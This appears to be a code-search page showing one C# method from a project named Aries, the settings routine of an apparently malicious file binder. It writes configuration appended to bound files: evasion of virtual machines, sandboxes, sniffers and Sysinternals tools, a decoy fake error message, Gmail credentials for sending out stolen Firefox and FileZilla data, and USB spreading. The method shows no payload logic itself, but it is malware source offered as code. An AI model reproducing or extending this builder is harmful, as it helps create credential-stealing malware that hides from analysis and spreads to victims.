Aries.Form1.SetFileInfo C# (CSharp) Method

SetFileInfo() private method

set all of the settings to be appended at the end of the binded files
private SetFileInfo ( ) : void
return void
        private void SetFileInfo()
        {
            if (Instance.CheckEncrypt.Checked)
                Util.EncryptHost = true;
            else Util.EncryptHost = false;

            if (Instance.CheckVboxvmware.Checked)
                Util.AntiVirtual = true;
            else Util.AntiVirtual = false;

            if (Instance.CheckAntiSandbox.Checked)
                Util.AntiSandbox = true;
            else Util.AntiSandbox = false;

            if (Instance.CheckEnableMsg.Checked)
                Util.DisplayErrorMsg = true;
            else Util.DisplayErrorMsg = false;

            if (Instance.CheckVirtOnly.Checked)
                Util.DisplayInVirtual = true;
            else Util.DisplayInVirtual = false;

            Util.GmailUser = Util.AESClass.EncryptToString(Instance.TextGmailAcc.Text);
            Util.GmailPass = Util.AESClass.EncryptToString(Instance.TextGmailPass.Text);

            Util.ErrorTitle = Util.AESClass.EncryptToString(Instance.ErrorTitle.Text);
            Util.ErrorBody = Util.AESClass.EncryptToString(Instance.ErrorBody.Text);
            Util.CrashType = Instance.ComboCrashOptions.SelectedIndex;

            if (Instance.CheckFirefox.Checked)
                Util.SendFirefoxFilezilla = true;
            else Util.SendFirefoxFilezilla = false;

            if (Instance.CheckAntiSniff.Checked)
                Util.AntiSniffDebug = true;
            else Util.AntiSniffDebug = false;

            if (Instance.CheckUSBSpread.Checked)
                Util.USBSpread = true;
            else Util.USBSpread = false;

            if (Instance.CheckSysint.Checked)
                Util.AntiSysinternals = true;
            else Util.AntiSysinternals = false;

            if (Instance.checkUseHandle.Checked)
                Util.UseRandomNick = true;
            else Util.UseRandomNick = false;
        }